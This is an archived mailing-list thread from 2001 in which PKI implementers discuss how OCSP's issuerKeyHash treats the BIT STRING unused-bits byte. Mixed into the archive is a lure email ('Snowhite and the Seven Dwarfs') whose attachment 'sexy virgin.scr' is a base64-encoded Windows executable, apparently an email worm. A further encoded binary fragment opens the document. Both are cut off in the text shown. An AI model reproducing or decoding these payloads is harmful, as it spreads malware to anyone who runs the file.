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
YPy0/kURslVe9+FAlcsmykuB77jDN1pXanSOh7fYRJpF+WzDN1WSdk/4xHHAZHOg4N+PKzzwo4LL
hyOW0PXsD/J+MFF5r2jLqIQoxZ4M4XXgjsoeNR7qDPCwj8pC0gE87+mcDppc5epBmsPO899gAbVl
9ivSFese8f5h34IcjlEmqjKCaKUpO89LpWjxGCqgjqrGLTysxi25QBcAAL4AEEAAgS6MqsYtgcYE
AAAASXXxaAAQQADDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAOHAAAAAAAAAwcAAAAAAAAAAAAABMcAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
OHAAAAAAAAARAUdldE1vZHVsZUhhbmRsZUEAAEtFUk5FTDMyLmRsbAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA=

----VEVOXQV4LEV--



Received: from mail.phaos.com ([206.30.74.234]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA25580 for <[e-mail]>; Tue, 13 Mar 2001 10:55:11 -0800 (PST)
Received: from phaos_arik.phaos.com (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id SAA64989; Tue, 13 Mar 2001 18:15:41 -0500 (EST) (envelope-from [e-mail])
Message-Id: <5.0.2.1.2.20010313141021.01eb6d90@206.30.74.234>
X-Sender: arik@206.30.74.234
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Tue, 13 Mar 2001 14:13:53 -0500
To: Ambarish Malpani <[e-mail]>, "'Dr S N Henson'" <[e-mail]>, [e-mail]
From: Ari Kermaier <[e-mail]>
Subject: RE: Computation of issuerKeyHash in OCSP
In-Reply-To: <[e-mail] .com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

We did interop vs. Valicert OCSP responder using the hash of the bytes of 
the DER encoding of the publicKey, and had no trouble. (This should be 
identical to the BIT STRING value from the subjectPublicKeyInfo minus 
header and unused bits, and is considerably simpler to think about.)

Ari Kermaier
Phaos Technology



>Peter, Steve, (and many other people),
>     I am sorry, I screwed up.
>
>     We are hashing the bit string *without* the number of
>unused bits. This is what we have been using in all the interop
>testing that we have done up to now.
>
>I apologize for my mistake.
>
>Regards,
>Ambarish
>
>---------------------------------------------------------------------
>Ambarish Malpani
>Architect                                                650.567.5457
>ValiCert, Inc.                                  [e-mail]
>339 N. Bernardo Ave.                          http://www.valicert.com
>Mountain View, CA 94043
>
>
> > -----Original Message-----
> > From: Dr S N Henson [mailto:[e-mail]]
> > Sent: Monday, March 12, 2001 3:40 PM
> > To: [e-mail]
> > Subject: Re: Computation of issuerKeyHash in OCSP
> >
> >
> > Peter Gutmann wrote:
> > >
> > > Ambarish Malpani <[e-mail]> writes:
> > >
> > > >I have done interop testing of the OCSP responder with
> > Netscape, CertCo, Xeti
> > > >(now part of Critical Path), Computer Associates and a
> > bunch of other folks. I
> > > >would be very surprised if anybody was stripping out the
> > byte that represented
> > > >the number of unused bits.
> > >
> > > That would explain why my previously-working code was
> > getting a status of
> > > "unknown" all of a sudden... dammit, make one little update
> > to your code
> > > without thinking and... :-).
> > >
> >
> > I was stripping the number of unused bits out too: well with
> > OpenSSL/SSLeay that's the more natural thing to do(*). It is
> > also one of
> > the recommended mechanisms in RFC2459 (4.2.1.2) and I didn't
> > notice the
> > difference.
> >
> > AFAICS using the number of unused bits will just mean that a '0' is
> > prepended to the data hashed for any valid encoding.
> >
> > I was getting valid responses from the responders I'd tried which
> > suggests that either they are ignoring the issuerKeyHash or they are
> > also ignoring the number of unused bits.
> >
> > (*) In case anyone is curious... the OpenSSL/SSLeay structure
> > for a BIT
> > STRING consists of a buffer, a length value and some flags. The buffer
> > is the BIT STRING *without* the number of unused bits. The
> > actual number
> > of unused bits is stored in part of the flags field.
> >
> > Steve.
> > --
> > Dr Stephen N. Henson.   http://www.drh-consultancy.demon.co.uk/
> > Personal Email: [e-mail]
> > Senior crypto engineer, Celo Communications: http://www.celocom.com/
> > Core developer of the   OpenSSL project: http://www.openssl.org/
> > Business Email: [e-mail] PGP key: via homepage.
> >



Received: from smtp6ve.mailsrvcs.net (smtp6vepub.gte.net [206.46.170.27]) by above.proper.com (8.9.3/8.9.3) with ESMTP id TAA13418 for <[e-mail]>; Mon, 12 Mar 2001 19:00:12 -0800 (PST)
Received: from zolera.com (adsl-141-154-55-127.bostma.adsl.bellatlantic.net [141.154.55.127]) by smtp6ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id CAA6372007; Tue, 13 Mar 2001 02:58:45 GMT
Message-ID: <[e-mail]>
Date: Mon, 12 Mar 2001 22:01:55 -0500
From: Rich Salz <[e-mail]>
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
CC: [e-mail], [e-mail]
Subject: Re: Computation of issuerKeyHash in OCSP
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

> I've also got another question about the spec which comes from playing with
> various responders, the implementation requirement that "Certificates SHOULD
> NOT contain an AIA extension specifying the responder URL.  If they do contain
> a responder URL, this MUST NOT match the actual responder URL" seems to have
> been left out of the draft.  Is this an unwritten convention followed by
> implementors which is worth documenting?

If you came looking for an argument, you'll have to go down the door to
the CA people.  The OCSP responder people rarely create certificates --
too frightening.  And while it's tempting for ORP's to move their URL
about arbitrarily, it's not common.
	/r$


Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id SAA12287 for <[e-mail]>; Mon, 12 Mar 2001 18:29:00 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id PAA02453; Tue, 13 Mar 2001 15:28:27 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98445050727773>; Tue, 13 Mar 2001 15:28:27 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: Re: Computation of issuerKeyHash in OCSP
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Tue, 13 Mar 2001 15:28:27 (NZDT)
Message-ID: <[e-mail]>

Dr S N Henson <[e-mail]> writes:

>I was getting valid responses from the responders I'd tried which suggests
>that either they are ignoring the issuerKeyHash or they are also ignoring the
>number of unused bits.

If I could find a responder to get a reply from (the usual suspects seem to be
unreachable/dead at the moment) I'd like to test this to see whether you can
submit a broken issuerKeyHash, from earlier testing against one of them I found
that you did have to get the hash right (that's how I did the trial-and-error
discovery of what was required, I figured the issuer name hash couldn't be
wrong and started playing with hashing/not hashing bits of the key until I
didn't get an "unknown" response any more).  OTOH the issuerKeyHash isn't
absolutely necessary since (depending on the implementation) you can get the
same information from the issuerNameHash.

I've also got another question about the spec which comes from playing with
various responders, the implementation requirement that "Certificates SHOULD
NOT contain an AIA extension specifying the responder URL.  If they do contain
a responder URL, this MUST NOT match the actual responder URL" seems to have
been left out of the draft.  Is this an unwritten convention followed by
implementors which is worth documenting?

Peter :-).



Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id RAA11214 for <[e-mail]>; Mon, 12 Mar 2001 17:54:51 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Mon, 12 Mar 2001 17:54:55 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Mon, 12 Mar 2001 17:54:54 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <GD3GKZ6C>; Mon, 12 Mar 2001 17:48:39 -0800
Content-return: allowed
Date: Mon, 12 Mar 2001 17:48:32 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: Computation of issuerKeyHash in OCSP
To: "'Dr S N Henson'" <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Peter, Steve, (and many other people),
    I am sorry, I screwed up.

    We are hashing the bit string *without* the number of
unused bits. This is what we have been using in all the interop
testing that we have done up to now.

I apologize for my mistake.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Dr S N Henson [mailto:[e-mail]]
> Sent: Monday, March 12, 2001 3:40 PM
> To: [e-mail]
> Subject: Re: Computation of issuerKeyHash in OCSP
> 
> 
> Peter Gutmann wrote:
> > 
> > Ambarish Malpani <[e-mail]> writes:
> > 
> > >I have done interop testing of the OCSP responder with 
> Netscape, CertCo, Xeti
> > >(now part of Critical Path), Computer Associates and a 
> bunch of other folks. I
> > >would be very surprised if anybody was stripping out the 
> byte that represented
> > >the number of unused bits.
> > 
> > That would explain why my previously-working code was 
> getting a status of
> > "unknown" all of a sudden... dammit, make one little update 
> to your code
> > without thinking and... :-).
> > 
> 
> I was stripping the number of unused bits out too: well with
> OpenSSL/SSLeay that's the more natural thing to do(*). It is 
> also one of
> the recommended mechanisms in RFC2459 (4.2.1.2) and I didn't 
> notice the
> difference.
> 
> AFAICS using the number of unused bits will just mean that a '0' is
> prepended to the data hashed for any valid encoding.
> 
> I was getting valid responses from the responders I'd tried which
> suggests that either they are ignoring the issuerKeyHash or they are
> also ignoring the number of unused bits.
> 
> (*) In case anyone is curious... the OpenSSL/SSLeay structure 
> for a BIT
> STRING consists of a buffer, a length value and some flags. The buffer
> is the BIT STRING *without* the number of unused bits. The 
> actual number
> of unused bits is stored in part of the flags field.
> 
> Steve.
> -- 
> Dr Stephen N. Henson.   http://www.drh-consultancy.demon.co.uk/
> Personal Email: [e-mail] 
> Senior crypto engineer, Celo Communications: http://www.celocom.com/
> Core developer of the   OpenSSL project: http://www.openssl.org/
> Business Email: [e-mail] PGP key: via homepage.
> 


Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA06787 for <[e-mail]>; Mon, 12 Mar 2001 15:36:34 -0800 (PST)
Received: from drh-consultancy.demon.co.uk ([193.237.150.98] helo=celocom.com) by finch-post-10.mail.demon.net with esmtp (Exim 2.12 #1) id 14cbrg-0009Il-0A for [e-mail]; Mon, 12 Mar 2001 23:36:36 +0000
Message-ID: <[e-mail]>
Date: Mon, 12 Mar 2001 23:39:46 +0000
From: Dr S N Henson <[e-mail]>
Organization: S N Henson
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Computation of issuerKeyHash in OCSP
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Peter Gutmann wrote:
> 
> Ambarish Malpani <[e-mail]> writes:
> 
> >I have done interop testing of the OCSP responder with Netscape, CertCo, Xeti
> >(now part of Critical Path), Computer Associates and a bunch of other folks. I
> >would be very surprised if anybody was stripping out the byte that represented
> >the number of unused bits.
> 
> That would explain why my previously-working code was getting a status of
> "unknown" all of a sudden... dammit, make one little update to your code
> without thinking and... :-).
> 

I was stripping the number of unused bits out too: well with
OpenSSL/SSLeay that's the more natural thing to do(*). It is also one of
the recommended mechanisms in RFC2459 (4.2.1.2) and I didn't notice the
difference.

AFAICS using the number of unused bits will just mean that a '0' is
prepended to the data hashed for any valid encoding.

I was getting valid responses from the responders I'd tried which
suggests that either they are ignoring the issuerKeyHash or they are
also ignoring the number of unused bits.

(*) In case anyone is curious... the OpenSSL/SSLeay structure for a BIT
STRING consists of a buffer, a length value and some flags. The buffer
is the BIT STRING *without* the number of unused bits. The actual number
of unused bits is stored in part of the flags field.

Steve.
-- 
Dr Stephen N. Henson.   http://www.drh-consultancy.demon.co.uk/
Personal Email: [e-mail] 
Senior crypto engineer, Celo Communications: http://www.celocom.com/
Core developer of the   OpenSSL project: http://www.openssl.org/
Business Email: [e-mail] PGP key: via homepage.


Received: from portatil-de-fab (LIsdn139.uniandes.edu.co [157.253.30.80]) by above.proper.com (8.9.3/8.9.3) with SMTP id PAA05166 for <[e-mail]>; Mon, 12 Mar 2001 15:15:08 -0800 (PST)
Date: Mon, 12 Mar 2001 15:15:08 -0800 (PST)
Message-Id: <[e-mail]>
From: Hahaha <[e-mail]>
Subject: Snowhite and the Seven Dwarfs - The REAL story!
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="--VE0PYFGPUJOD2JCL6JC9AZGDIBC123ST6VSH"

----VE0PYFGPUJOD2JCL6JC9AZGDIBC123ST6VSH
Content-Type: text/plain; charset="us-ascii"

Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and
polite with Snowhite. When they go out work at mornign, they promissed a 
*huge* surprise. Snowhite was anxious. Suddlently, the door open, and the Seven
Dwarfs enter...


----VE0PYFGPUJOD2JCL6JC9AZGDIBC123ST6VSH
Content-Type: application/octet-stream; name="sexy virgin.scr"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="sexy virgin.scr"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAgAAAALRMzSEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAABQRQAATAECAAAAAAAAAAAAAAAAAOAADwELAQAAAF4AAAAAAAAAAAAAAG0A
AAAQAAAAAAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAIAAAAAABAA
ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAhwAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAAGAAAAAQAAAfXQAAAAIA
AAAAAAAAAAAAAAAAACAAAOAucmRhdGEAAAAQAAAAcAAAWgAAAABgAAAAAAAAAAAAAAAAAABAAADA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADz
nru3CIgCoknU/qNJ1rtvD9AUnVrRDlsE8QfLSIi6cAj4+1qryt+aCAuA35NUDEOEiLtaZinxZC9i
2FQ/UExCUD2FSeVN9271wF/KAPCOzvLZr0mqhMfjPGremMTKm4XBZDrHPf+HuT3oc7cRNAxztPme
pS1T18z3g8OkV+ArzbsbOJnz/pzbaxqrDOoD0J4gLNA1nHV4mSnluy21BqsCQO6Ccy22+LdoBk4w
KK5SqVny2kIXkrtacouCnywE3N3AdRmMNefTmgi56N8gyLvlNYrLmgjy+8IIuLtaXfK7WVysA+DI
lz+HDoi7ql3Yuq8s0LyGLOdAG5U9vGpIiMrfG467WnDUB1sI8O6MNswjslu6Gq8H3d+KjUgUs2CX
P08NiLuqB93fggUQpU6sTsNFiU/0WwiIukIEcbRjCIiB4AaPu1rzTkEaCoi7lpEVtmEIiBvFCPDp
nlTUI6tRu+3CScwRnFyHEH9c4RS0YfAMl1ZWJLnaPlrD4ThqHZNUP0cUE5CrWdolXvDCxFoI5ha6
8CnEWggReaAQiLvjpcPDWggRcZsQiLvdzJQLr3COu1wI8rtCPoi7Wlv3Ic9/6S3AZNUkvnr3Lspu
/BeycfYfyn/726hc5P7PevogyXzeIM178SrJZN8kyXT3Isp2iCNdCIg7Wt4NfLV9qg3FpROAxQzY
JV9yiKNmCIi7rU7L/8N76R3HbYgNWtvgujJpCahfCYi75fwJgBsGiLvDDIm7Wl6HUH+YirtajUjL
3sGMu1qVxMESZN8OqrO92nZoBWeQdZc62bOzewZc3rrvLBS+WggTlJ4XDEtfCIjmR1iHUH+kirta
QfTfdhcNN18IiCVtk8zffjNaFVL5C7ZrFwwYXwiII9sIiLuwBx3g1gqIu9/I/NevcAi8Wgjyvq9d
